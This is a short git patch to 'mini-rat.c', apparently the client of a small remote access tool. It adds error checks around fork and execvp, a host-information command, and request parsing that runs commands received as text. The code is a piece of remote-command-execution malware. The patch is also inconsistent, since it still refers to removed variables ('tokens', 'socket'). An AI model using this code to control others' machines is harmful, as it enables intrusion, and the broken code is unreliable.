From 75b24537215de0cbef21d68334129bad82a921b9 Mon Sep 17 00:00:00 2001 From: Danny Holman Date: Wed, 13 Sep 2023 11:25:47 -0500 Subject: client: add error checking to system calls Add error checking to execve and add cleanup calls so that no memory is leaked. Signed-off-by: Danny Holman --- client/src/mini-rat.c | 23 +++++++++++++++++++---- 1 file changed, 19 insertions(+), 4 deletions(-) diff --git a/client/src/mini-rat.c b/client/src/mini-rat.c index 53b91a5..9ceaa88 100644 --- a/client/src/mini-rat.c +++ b/client/src/mini-rat.c @@ -43,17 +43,31 @@ void run_exec(char **argv) { const char** cargv = (const char**)argv; pid_t pid = fork(); if (pid == 0) { - execvp(argv[0], argv); + if (execvp(cargv[0], cargv) == -1) { + printf("ERROR IN EXEC\r\n"); + fflush(stdout); + } exit(0); } else if (pid > 0) { wait(NULL); } else { - send(socket, "ERROR EXECUTING COMMAND", 23, 0); + printf("ERROR IN FORK\r\n"); + fflush(stdout); } } -int handle_request(int socket, char *req) { - char **tokens = str_split(req, "\r\n"); +void hostinfo(void) { + char **argv = malloc(sizeof(char*) * 3); + argv[0] = "uname"; + argv[1] = "-a"; + argv[2] = NULL; + run_exec(argv); + free(argv); +} + +int handle_request(char *req) { + char **argv = NULL; + size_t count = str_split(&argv, req, " "); if (strcmp(tokens[0], "HOSTINFO") == 0) { hostinfo(socket); @@ -63,6 +77,7 @@ int handle_request(int socket, char *req) { } else if (strncmp(tokens[0], "EXIT", 4) == 0) { return 1; } + free(argv); return 0; } -- cgit v1.2.3